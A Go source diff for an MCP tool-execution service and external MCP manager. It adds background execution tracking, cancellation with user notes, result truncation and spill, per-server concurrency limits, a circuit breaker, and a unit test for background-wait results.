return nil, fmt.Errorf("execution already exists: %s", id)
|
||||
}
|
||||
s.entries[id] = entry
|
||||
s.cleanupOldEntriesLocked()
|
||||
s.mu.Unlock()
|
||||
|
||||
if s.storage != nil {
|
||||
if err := s.storage.SaveToolExecution(exec); err != nil {
|
||||
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", id))
|
||||
}
|
||||
}
|
||||
notifyToolRunBegin(ctx, id)
|
||||
|
||||
go s.runWorker(runCtx, entry, req.OnDone)
|
||||
return &ExecutionHandle{ID: id}, nil
|
||||
}
|
||||
|
||||
func (s *ExecutionService) runWorker(ctx context.Context, entry *executionEntry, onDone ExecutionDoneFunc) {
|
||||
id := entry.exec.ID
|
||||
ctx = WithMCPExecutionID(ctx, id)
|
||||
if conv := strings.TrimSpace(entry.exec.ConversationID); conv != "" {
|
||||
ctx = WithMCPConversationID(ctx, conv)
|
||||
}
|
||||
var release func()
|
||||
defer func() {
|
||||
if release != nil {
|
||||
release()
|
||||
}
|
||||
entry.cancel()
|
||||
notifyToolRunEnd(ctx, id)
|
||||
close(entry.done)
|
||||
}()
|
||||
|
||||
if entry.preRun != nil {
|
||||
var preErr error
|
||||
release, preErr = entry.preRun(ctx, cloneToolExecution(entry.exec))
|
||||
if preErr != nil {
|
||||
s.finishEntry(ctx, entry, nil, preErr, onDone)
|
||||
return
|
||||
}
|
||||
}
|
||||
s.markEntryRunning(entry)
|
||||
|
||||
result, err := entryResultRecover(ctx, entry.exec.ToolName, s.logger, func() (*ToolResult, error) {
|
||||
return nilSafeRun(ctx, entry)
|
||||
})
|
||||
s.finishEntry(ctx, entry, result, err, onDone)
|
||||
}
|
||||
|
||||
func (s *ExecutionService) markEntryRunning(entry *executionEntry) {
|
||||
if s == nil || entry == nil || entry.exec == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
if !isExecutionTerminal(entry.exec.Status) {
|
||||
entry.exec.Status = ToolExecutionStatusRunning
|
||||
}
|
||||
runningExec := cloneToolExecution(entry.exec)
|
||||
s.mu.Unlock()
|
||||
if s.storage != nil {
|
||||
if err := s.storage.SaveToolExecution(runningExec); err != nil {
|
||||
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", runningExec.ID))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *ExecutionService) finishEntry(ctx context.Context, entry *executionEntry, result *ToolResult, err error, onDone ExecutionDoneFunc) {
|
||||
id := entry.exec.ID
|
||||
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(id, &result, &err)
|
||||
|
||||
now := time.Now()
|
||||
s.mu.Lock()
|
||||
spill := ToolResultSpillConfig{
|
||||
RootDir: s.spillRootDir,
|
||||
ConversationID: entry.exec.ConversationID,
|
||||
ExecutionID: id,
|
||||
}
|
||||
if ctx != nil {
|
||||
if pid := MCPProjectIDFromContext(ctx); pid != "" {
|
||||
spill.ProjectID = pid
|
||||
}
|
||||
if conv := MCPConversationIDFromContext(ctx); conv != "" {
|
||||
spill.ConversationID = conv
|
||||
}
|
||||
}
|
||||
result = NormalizeToolResultForStorageWithSpill(result, s.resultMaxBytes, spill)
|
||||
entry.result = result
|
||||
entry.err = err
|
||||
entry.exec.EndTime = &now
|
||||
entry.exec.Duration = now.Sub(entry.exec.StartTime)
|
||||
if err != nil {
|
||||
switch {
|
||||
case errors.Is(err, context.DeadlineExceeded):
|
||||
entry.exec.Status = ToolExecutionStatusHardTimeout
|
||||
entry.exec.Error = "工具执行超过硬超时限制"
|
||||
case errors.Is(err, context.Canceled):
|
||||
entry.exec.Status = ToolExecutionStatusCancelled
|
||||
entry.exec.Error = "已手动终止或任务已取消"
|
||||
default:
|
||||
entry.exec.Status = ToolExecutionStatusFailed
|
||||
entry.exec.Error = err.Error()
|
||||
}
|
||||
} else if result != nil && result.IsError {
|
||||
if cancelledWithUserNote {
|
||||
entry.exec.Status = ToolExecutionStatusCancelled
|
||||
entry.exec.Error = ""
|
||||
} else if isBackgroundWaitToolResult(result) {
|
||||
entry.exec.Status = ToolExecutionStatusCompleted
|
||||
entry.exec.Error = ""
|
||||
} else {
|
||||
entry.exec.Status = ToolExecutionStatusFailed
|
||||
entry.exec.Error = firstToolResultText(result, "工具执行返回错误结果")
|
||||
}
|
||||
entry.exec.Result = result
|
||||
} else {
|
||||
entry.exec.Status = ToolExecutionStatusCompleted
|
||||
if result == nil {
|
||||
result = &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}}
|
||||
entry.result = result
|
||||
}
|
||||
entry.exec.Result = result
|
||||
}
|
||||
finalExec := cloneToolExecution(entry.exec)
|
||||
s.mu.Unlock()
|
||||
|
||||
if s.storage != nil {
|
||||
if saveErr := s.storage.SaveToolExecution(finalExec); saveErr != nil {
|
||||
s.logger.Warn("保存执行记录到数据库失败", zap.Error(saveErr), zap.String("executionId", id))
|
||||
}
|
||||
}
|
||||
if onDone != nil {
|
||||
onDone(finalExec)
|
||||
}
|
||||
}
|
||||
|
||||
func nilSafeRun(ctx context.Context, entry *executionEntry) (*ToolResult, error) {
|
||||
if entry == nil {
|
||||
return nil, fmt.Errorf("execution entry is nil")
|
||||
}
|
||||
if entry.run == nil {
|
||||
return nil, fmt.Errorf("execution run func not wired")
|
||||
}
|
||||
return entry.run(ctx)
|
||||
}
|
||||
|
||||
func entryResultRecover(ctx context.Context, toolName string, logger *zap.Logger, fn func() (*ToolResult, error)) (res *ToolResult, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
if logger != nil {
|
||||
logger.Error("tool execution worker panic recovered", zap.Any("recover", r), zap.String("toolName", toolName), zap.Stack("stack"))
|
||||
}
|
||||
err = fmt.Errorf("tool execution panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return fn()
|
||||
}
|
||||
|
||||
func (s *ExecutionService) Wait(ctx context.Context, executionID string, timeout time.Duration) (*ExecutionSnapshot, error) {
|
||||
entry := s.getEntry(executionID)
|
||||
if entry == nil {
|
||||
return s.getPersistedSnapshot(executionID)
|
||||
}
|
||||
if isExecutionTerminal(entry.exec.Status) {
|
||||
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
|
||||
}
|
||||
|
||||
var timeoutCh <-chan time.Time
|
||||
var timer *time.Timer
|
||||
if timeout > 0 {
|
||||
timer = time.NewTimer(timeout)
|
||||
timeoutCh = timer.C
|
||||
defer timer.Stop()
|
||||
}
|
||||
|
||||
select {
|
||||
case <-entry.done:
|
||||
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
|
||||
case <-timeoutCh:
|
||||
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ErrExecutionWaitTimeout
|
||||
case <-ctxDone(ctx):
|
||||
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
func (s *ExecutionService) Get(executionID string) (*ExecutionSnapshot, error) {
|
||||
entry := s.getEntry(executionID)
|
||||
if entry != nil {
|
||||
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
|
||||
}
|
||||
return s.getPersistedSnapshot(executionID)
|
||||
}
|
||||
|
||||
func (s *ExecutionService) AppendPartialOutput(executionID, chunk string) bool {
|
||||
id := strings.TrimSpace(executionID)
|
||||
if s == nil || id == "" || chunk == "" {
|
||||
return false
|
||||
}
|
||||
now := time.Now()
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
entry := s.entries[id]
|
||||
if entry == nil || entry.exec == nil {
|
||||
return false
|
||||
}
|
||||
appendPartialOutput(entry.exec, chunk, defaultPartialOutputMaxBytes, now)
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *ExecutionService) Cancel(executionID, note string) bool {
|
||||
id := strings.TrimSpace(executionID)
|
||||
if id == "" || s == nil {
|
||||
return false
|
||||
}
|
||||
s.mu.Lock()
|
||||
entry := s.entries[id]
|
||||
if entry == nil || isExecutionTerminal(entry.exec.Status) {
|
||||
s.mu.Unlock()
|
||||
return false
|
||||
}
|
||||
if strings.TrimSpace(note) != "" {
|
||||
s.abortUserNotes[id] = strings.TrimSpace(note)
|
||||
}
|
||||
cancel := entry.cancel
|
||||
s.mu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *ExecutionService) ActiveRunningExecutionIDs() map[string]struct{} {
|
||||
if s == nil {
|
||||
return nil
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
out := make(map[string]struct{})
|
||||
for id, entry := range s.entries {
|
||||
if entry != nil && entry.exec != nil && !isExecutionTerminal(entry.exec.Status) {
|
||||
out[id] = struct{}{}
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (s *ExecutionService) CancelAll(note string) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
cancels := make([]context.CancelFunc, 0, len(s.entries))
|
||||
for id, entry := range s.entries {
|
||||
if entry == nil || isExecutionTerminal(entry.exec.Status) {
|
||||
continue
|
||||
}
|
||||
if strings.TrimSpace(note) != "" {
|
||||
s.abortUserNotes[id] = strings.TrimSpace(note)
|
||||
}
|
||||
if entry.cancel != nil {
|
||||
cancels = append(cancels, entry.cancel)
|
||||
}
|
||||
}
|
||||
s.mu.Unlock()
|
||||
for _, cancel := range cancels {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
|
||||
func (s *ExecutionService) getEntry(executionID string) *executionEntry {
|
||||
if s == nil {
|
||||
return nil
|
||||
}
|
||||
id := strings.TrimSpace(executionID)
|
||||
if id == "" {
|
||||
return nil
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return s.entries[id]
|
||||
}
|
||||
|
||||
func (s *ExecutionService) getPersistedSnapshot(executionID string) (*ExecutionSnapshot, error) {
|
||||
id := strings.TrimSpace(executionID)
|
||||
if id == "" {
|
||||
return nil, fmt.Errorf("execution_id is required")
|
||||
}
|
||||
if s != nil && s.storage != nil {
|
||||
exec, err := s.storage.GetToolExecution(id)
|
||||
if err == nil && exec != nil {
|
||||
return &ExecutionSnapshot{Execution: exec}, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("execution not found: %s", id)
|
||||
}
|
||||
|
||||
func (s *ExecutionService) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
|
||||
note := strings.TrimSpace(s.takeAbortUserNote(executionID))
|
||||
if note == "" {
|
||||
return false
|
||||
}
|
||||
hasErr := err != nil && *err != nil
|
||||
hasRes := result != nil && *result != nil
|
||||
if !hasErr && !hasRes {
|
||||
return false
|
||||
}
|
||||
partial := ""
|
||||
if hasRes {
|
||||
partial = ToolResultPlainText(*result)
|
||||
}
|
||||
if partial == "" && hasErr {
|
||||
partial = (*err).Error()
|
||||
}
|
||||
merged := MergePartialToolOutputAndAbortNote(partial, note)
|
||||
if err != nil {
|
||||
*err = nil
|
||||
}
|
||||
if result != nil {
|
||||
*result = &ToolResult{Content: []Content{{Type: "text", Text: merged}}, IsError: true}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *ExecutionService) takeAbortUserNote(id string) string {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
note := s.abortUserNotes[id]
|
||||
delete(s.abortUserNotes, id)
|
||||
return note
|
||||
}
|
||||
|
||||
func (s *ExecutionService) cleanupOldEntriesLocked() {
|
||||
if s.maxInMemory <= 0 || len(s.entries) <= s.maxInMemory {
|
||||
return
|
||||
}
|
||||
type oldEntry struct {
|
||||
id string
|
||||
startTime time.Time
|
||||
}
|
||||
var terminal []oldEntry
|
||||
for id, entry := range s.entries {
|
||||
if entry != nil && entry.exec != nil && isExecutionTerminal(entry.exec.Status) {
|
||||
terminal = append(terminal, oldEntry{id: id, startTime: entry.exec.StartTime})
|
||||
}
|
||||
}
|
||||
for len(s.entries) > s.maxInMemory && len(terminal) > 0 {
|
||||
oldest := 0
|
||||
for i := 1; i < len(terminal); i++ {
|
||||
if terminal[i].startTime.Before(terminal[oldest].startTime) {
|
||||
oldest = i
|
||||
}
|
||||
}
|
||||
delete(s.entries, terminal[oldest].id)
|
||||
terminal = append(terminal[:oldest], terminal[oldest+1:]...)
|
||||
}
|
||||
}
|
||||
|
||||
func firstToolResultText(result *ToolResult, fallback string) string {
|
||||
if result != nil {
|
||||
for _, c := range result.Content {
|
||||
if strings.TrimSpace(c.Text) != "" {
|
||||
return c.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
func isBackgroundWaitToolResult(result *ToolResult) bool {
|
||||
text := strings.ToLower(strings.TrimSpace(ToolResultPlainText(result)))
|
||||
if text == "" {
|
||||
return false
|
||||
}
|
||||
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
|
||||
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
|
||||
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
|
||||
strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
|
||||
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
|
||||
strings.Contains(text, "本次等待已到达") ||
|
||||
strings.Contains(text, "wait_timeout:") ||
|
||||
strings.Contains(text, "background execution") ||
|
||||
strings.Contains(text, "still running") ||
|
||||
strings.Contains(text, "仍未完成")
|
||||
return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
|
||||
}
|
||||
|
||||
func isExecutionTerminal(status string) bool {
|
||||
switch strings.TrimSpace(strings.ToLower(status)) {
|
||||
case ToolExecutionStatusCompleted, ToolExecutionStatusFailed, ToolExecutionStatusCancelled, ToolExecutionStatusHardTimeout, ToolExecutionStatusOrphaned:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func ctxDone(ctx context.Context) <-chan struct{} {
|
||||
if ctx == nil {
|
||||
return nil
|
||||
}
|
||||
return ctx.Done()
|
||||
}
|
||||
|
||||
func detachedExecutionContext(ctx context.Context) context.Context {
|
||||
if ctx == nil {
|
||||
return context.Background()
|
||||
}
|
||||
return context.WithoutCancel(ctx)
|
||||
}
|
||||
|
||||
func cloneArgsMap(in map[string]interface{}) map[string]interface{} {
|
||||
if in == nil {
|
||||
return map[string]interface{}{}
|
||||
}
|
||||
out := make(map[string]interface{}, len(in))
|
||||
for k, v := range in {
|
||||
out[k] = v
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func cloneToolExecution(in *ToolExecution) *ToolExecution {
|
||||
if in == nil {
|
||||
return nil
|
||||
}
|
||||
out := *in
|
||||
out.Arguments = cloneArgsMap(in.Arguments)
|
||||
if in.Result != nil {
|
||||
res := *in.Result
|
||||
if in.Result.Content != nil {
|
||||
res.Content = append([]Content(nil), in.Result.Content...)
|
||||
}
|
||||
out.Result = &res
|
||||
}
|
||||
if in.EndTime != nil {
|
||||
t := *in.EndTime
|
||||
out.EndTime = &t
|
||||
}
|
||||
if in.PartialOutputUpdatedAt != nil {
|
||||
t := *in.PartialOutputUpdatedAt
|
||||
out.PartialOutputUpdatedAt = &t
|
||||
}
|
||||
return &out
|
||||
}
|
||||
|
||||
func appendPartialOutput(exec *ToolExecution, chunk string, maxBytes int, updatedAt time.Time) {
|
||||
if exec == nil || chunk == "" {
|
||||
return
|
||||
}
|
||||
if maxBytes <= 0 {
|
||||
maxBytes = defaultPartialOutputMaxBytes
|
||||
}
|
||||
exec.PartialOutputBytes += int64(len([]byte(chunk)))
|
||||
combined := exec.PartialOutput + chunk
|
||||
if len([]byte(combined)) > maxBytes {
|
||||
b := []byte(combined)
|
||||
combined = string(b[len(b)-maxBytes:])
|
||||
exec.PartialOutputTruncated = true
|
||||
}
|
||||
exec.PartialOutput = combined
|
||||
t := updatedAt
|
||||
exec.PartialOutputUpdatedAt = &t
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestExecutionServiceBackgroundWaitResultCompletesWaitTool(t *testing.T) {
|
||||
service := NewExecutionService(nil, nil)
|
||||
handle, err := service.Submit(context.Background(), ExecutionRequest{
|
||||
ToolName: "wait_tool_execution",
|
||||
Run: func(context.Context) (*ToolResult, error) {
|
||||
return &ToolResult{
|
||||
Content: []Content{{Type: "text", Text: `{
|
||||
"execution_id": "3eaaa391-050b-4be1-a870-48a855923cb7",
|
||||
"tool": "exec",
|
||||
"status": "running"
|
||||
}
|
||||
|
||||
本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。`}},
|
||||
IsError: true,
|
||||
}, nil
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("Submit: %v", err)
|
||||
}
|
||||
snap, err := service.Wait(context.Background(), handle.ID, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("Wait: %v", err)
|
||||
}
|
||||
if snap == nil || snap.Execution == nil {
|
||||
t.Fatal("missing execution snapshot")
|
||||
}
|
||||
if snap.Execution.Status != ToolExecutionStatusCompleted {
|
||||
t.Fatalf("status = %q, want %q", snap.Execution.Status, ToolExecutionStatusCompleted)
|
||||
}
|
||||
if snap.Execution.Result == nil || !snap.Execution.Result.IsError {
|
||||
t.Fatal("model-facing result should remain IsError")
|
||||
}
|
||||
}
|
||||
+375
-130
@@ -2,6 +2,7 @@ package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -11,8 +12,6 @@ import (
|
||||
"cyberstrike-ai/internal/authctx"
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"github.com/google/uuid"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
@@ -36,32 +35,52 @@ type listToolsInflight struct {
|
||||
err error
|
||||
}
|
||||
|
||||
type ExternalMCPResilienceConfig struct {
|
||||
MaxConcurrentPerServer int
|
||||
MaxConcurrentTotal int
|
||||
CircuitFailureThreshold int
|
||||
CircuitCooldown time.Duration
|
||||
}
|
||||
|
||||
type externalMCPServerRuntime struct {
|
||||
semaphore chan struct{}
|
||||
consecutiveFailures int
|
||||
circuitOpenUntil time.Time
|
||||
}
|
||||
|
||||
// ExternalMCPManager 外部MCP管理器
|
||||
type ExternalMCPManager struct {
|
||||
clients map[string]ExternalMCPClient
|
||||
configs map[string]config.ExternalMCPServerConfig
|
||||
logger *zap.Logger
|
||||
storage MonitorStorage // 可选的持久化存储
|
||||
executions map[string]*ToolExecution // 执行记录
|
||||
stats map[string]*ToolStats // 工具统计信息
|
||||
errors map[string]string // 错误信息
|
||||
toolCounts map[string]int // 工具数量缓存
|
||||
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
||||
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
||||
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
||||
listToolsMu sync.Mutex
|
||||
listToolsInflight map[string]*listToolsInflight
|
||||
stopRefresh chan struct{} // 停止后台刷新的信号
|
||||
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
||||
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
||||
mu sync.RWMutex
|
||||
runningCancels map[string]context.CancelFunc
|
||||
abortUserNotes map[string]string
|
||||
reconnectMu sync.Mutex
|
||||
reconnecting map[string]bool
|
||||
reconnectLastTry map[string]time.Time
|
||||
reconnectAttempts map[string]int
|
||||
toolAuthorizer func(context.Context, string, map[string]interface{}) error
|
||||
clients map[string]ExternalMCPClient
|
||||
configs map[string]config.ExternalMCPServerConfig
|
||||
logger *zap.Logger
|
||||
storage MonitorStorage // 可选的持久化存储
|
||||
executions map[string]*ToolExecution // 执行记录
|
||||
stats map[string]*ToolStats // 工具统计信息
|
||||
errors map[string]string // 错误信息
|
||||
toolCounts map[string]int // 工具数量缓存
|
||||
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
||||
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
||||
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
||||
listToolsMu sync.Mutex
|
||||
listToolsInflight map[string]*listToolsInflight
|
||||
stopRefresh chan struct{} // 停止后台刷新的信号
|
||||
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
||||
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
||||
mu sync.RWMutex
|
||||
runningCancels map[string]context.CancelFunc
|
||||
abortUserNotes map[string]string
|
||||
reconnectMu sync.Mutex
|
||||
reconnecting map[string]bool
|
||||
reconnectLastTry map[string]time.Time
|
||||
reconnectAttempts map[string]int
|
||||
toolAuthorizer func(context.Context, string, map[string]interface{}) error
|
||||
executionService *ExecutionService
|
||||
toolWaitTimeout time.Duration
|
||||
toolResultMaxBytes int
|
||||
spillRootDir string
|
||||
resilience ExternalMCPResilienceConfig
|
||||
serverRuntimes map[string]*externalMCPServerRuntime
|
||||
globalSemaphore chan struct{}
|
||||
}
|
||||
|
||||
// NewExternalMCPManager 创建外部MCP管理器
|
||||
@@ -80,28 +99,119 @@ func (m *ExternalMCPManager) SetToolAuthorizer(authorizer func(context.Context,
|
||||
// NewExternalMCPManagerWithStorage 创建外部MCP管理器(带持久化存储)
|
||||
func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage) *ExternalMCPManager {
|
||||
manager := &ExternalMCPManager{
|
||||
clients: make(map[string]ExternalMCPClient),
|
||||
configs: make(map[string]config.ExternalMCPServerConfig),
|
||||
logger: logger,
|
||||
storage: storage,
|
||||
executions: make(map[string]*ToolExecution),
|
||||
stats: make(map[string]*ToolStats),
|
||||
errors: make(map[string]string),
|
||||
toolCounts: make(map[string]int),
|
||||
toolCache: make(map[string]toolListCacheEntry),
|
||||
listToolsInflight: make(map[string]*listToolsInflight),
|
||||
stopRefresh: make(chan struct{}),
|
||||
runningCancels: make(map[string]context.CancelFunc),
|
||||
abortUserNotes: make(map[string]string),
|
||||
reconnecting: make(map[string]bool),
|
||||
reconnectLastTry: make(map[string]time.Time),
|
||||
reconnectAttempts: make(map[string]int),
|
||||
clients: make(map[string]ExternalMCPClient),
|
||||
configs: make(map[string]config.ExternalMCPServerConfig),
|
||||
logger: logger,
|
||||
storage: storage,
|
||||
executions: make(map[string]*ToolExecution),
|
||||
stats: make(map[string]*ToolStats),
|
||||
errors: make(map[string]string),
|
||||
toolCounts: make(map[string]int),
|
||||
toolCache: make(map[string]toolListCacheEntry),
|
||||
listToolsInflight: make(map[string]*listToolsInflight),
|
||||
stopRefresh: make(chan struct{}),
|
||||
runningCancels: make(map[string]context.CancelFunc),
|
||||
abortUserNotes: make(map[string]string),
|
||||
reconnecting: make(map[string]bool),
|
||||
reconnectLastTry: make(map[string]time.Time),
|
||||
reconnectAttempts: make(map[string]int),
|
||||
toolWaitTimeout: 60 * time.Second,
|
||||
toolResultMaxBytes: DefaultToolResultMaxBytes,
|
||||
resilience: ExternalMCPResilienceConfig{
|
||||
MaxConcurrentPerServer: 2,
|
||||
MaxConcurrentTotal: 16,
|
||||
CircuitFailureThreshold: 3,
|
||||
CircuitCooldown: 60 * time.Second,
|
||||
},
|
||||
serverRuntimes: make(map[string]*externalMCPServerRuntime),
|
||||
globalSemaphore: make(chan struct{}, 16),
|
||||
}
|
||||
manager.executionService = NewExecutionService(storage, logger)
|
||||
// 启动后台刷新工具数量的goroutine
|
||||
manager.startToolCountRefresh()
|
||||
return manager
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) ConfigureToolResultMaxBytes(maxBytes int) {
|
||||
if m == nil {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.toolResultMaxBytes = maxBytes
|
||||
m.mu.Unlock()
|
||||
if m.executionService != nil {
|
||||
m.executionService.ConfigureToolResultMaxBytes(maxBytes)
|
||||
}
|
||||
}
|
||||
|
||||
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
|
||||
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
|
||||
func (m *ExternalMCPManager) ConfigureToolResultSpillRoot(rootDir string) {
|
||||
if m == nil {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.spillRootDir = strings.TrimSpace(rootDir)
|
||||
m.mu.Unlock()
|
||||
if m.executionService != nil {
|
||||
m.executionService.ConfigureToolResultSpillRoot(rootDir)
|
||||
}
|
||||
}
|
||||
|
||||
// ConfigureToolWaitTimeoutSeconds controls how long an agent-facing tool call
|
||||
// waits for an external MCP execution before returning an execution_id that can
|
||||
// be polled with wait_tool_execution. seconds<=0 waits until completion.
|
||||
func (m *ExternalMCPManager) ConfigureToolWaitTimeoutSeconds(seconds int) {
|
||||
if m == nil {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if seconds <= 0 {
|
||||
m.toolWaitTimeout = 0
|
||||
return
|
||||
}
|
||||
m.toolWaitTimeout = time.Duration(seconds) * time.Second
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) ConfigureResilience(cfg ExternalMCPResilienceConfig) {
|
||||
if m == nil {
|
||||
return
|
||||
}
|
||||
normalized := normalizeExternalMCPResilienceConfig(cfg)
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.resilience = normalized
|
||||
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
|
||||
if normalized.MaxConcurrentTotal > 0 {
|
||||
m.globalSemaphore = make(chan struct{}, normalized.MaxConcurrentTotal)
|
||||
} else {
|
||||
m.globalSemaphore = nil
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeExternalMCPResilienceConfig(cfg ExternalMCPResilienceConfig) ExternalMCPResilienceConfig {
|
||||
if cfg.MaxConcurrentPerServer == 0 {
|
||||
cfg.MaxConcurrentPerServer = 2
|
||||
}
|
||||
if cfg.MaxConcurrentTotal == 0 {
|
||||
cfg.MaxConcurrentTotal = 16
|
||||
}
|
||||
if cfg.CircuitFailureThreshold == 0 {
|
||||
cfg.CircuitFailureThreshold = 3
|
||||
}
|
||||
if cfg.CircuitCooldown <= 0 {
|
||||
cfg.CircuitCooldown = 60 * time.Second
|
||||
}
|
||||
if cfg.MaxConcurrentPerServer < 0 {
|
||||
cfg.MaxConcurrentPerServer = 0
|
||||
}
|
||||
if cfg.MaxConcurrentTotal < 0 {
|
||||
cfg.MaxConcurrentTotal = 0
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
// LoadConfigs 加载配置
|
||||
func (m *ExternalMCPManager) LoadConfigs(cfg *config.ExternalMCPConfig) {
|
||||
m.mu.Lock()
|
||||
@@ -588,6 +698,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
||||
if !exists {
|
||||
return nil, "", fmt.Errorf("外部MCP客户端不存在: %s", mcpName)
|
||||
}
|
||||
if err := m.checkExternalMCPCircuit(mcpName); err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
// 检查连接状态,如果未连接或状态为error,不允许调用
|
||||
if !client.IsConnected() {
|
||||
@@ -603,107 +716,217 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
||||
return nil, "", fmt.Errorf("外部MCP客户端未连接: %s (状态: %s)", mcpName, status)
|
||||
}
|
||||
|
||||
// 创建执行记录
|
||||
executionID := uuid.New().String()
|
||||
execution := &ToolExecution{
|
||||
ID: executionID,
|
||||
ToolName: toolName, // 使用完整工具名称(包含MCP名称)
|
||||
Arguments: args,
|
||||
Status: "running",
|
||||
StartTime: time.Now(),
|
||||
if m.executionService == nil {
|
||||
m.executionService = NewExecutionService(m.storage, m.logger)
|
||||
m.executionService.ConfigureToolResultMaxBytes(m.toolResultMaxBytes)
|
||||
m.executionService.ConfigureToolResultSpillRoot(m.spillRootDir)
|
||||
}
|
||||
var ownerUserID string
|
||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||
execution.OwnerUserID = principal.UserID
|
||||
ownerUserID = principal.UserID
|
||||
}
|
||||
execution.ConversationID = MCPConversationIDFromContext(ctx)
|
||||
|
||||
m.mu.Lock()
|
||||
m.executions[executionID] = execution
|
||||
// 如果内存中的执行记录超过限制,清理最旧的记录
|
||||
m.cleanupOldExecutions()
|
||||
m.mu.Unlock()
|
||||
|
||||
if m.storage != nil {
|
||||
if err := m.storage.SaveToolExecution(execution); err != nil {
|
||||
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
execCtx, runCancel := context.WithCancel(ctx)
|
||||
m.registerRunningCancel(executionID, runCancel)
|
||||
notifyToolRunBegin(ctx, executionID)
|
||||
defer func() {
|
||||
notifyToolRunEnd(ctx, executionID)
|
||||
runCancel()
|
||||
m.unregisterRunningCancel(executionID)
|
||||
}()
|
||||
|
||||
// 调用工具
|
||||
result, err := client.CallTool(execCtx, actualToolName, args)
|
||||
handle, err := m.executionService.Submit(ctx, ExecutionRequest{
|
||||
ToolName: toolName,
|
||||
Arguments: args,
|
||||
ConversationID: MCPConversationIDFromContext(ctx),
|
||||
OwnerUserID: ownerUserID,
|
||||
PreRun: func(runCtx context.Context, exec *ToolExecution) (func(), error) {
|
||||
release, acquireErr := m.acquireExternalMCPCallSlot(runCtx, mcpName)
|
||||
if acquireErr != nil {
|
||||
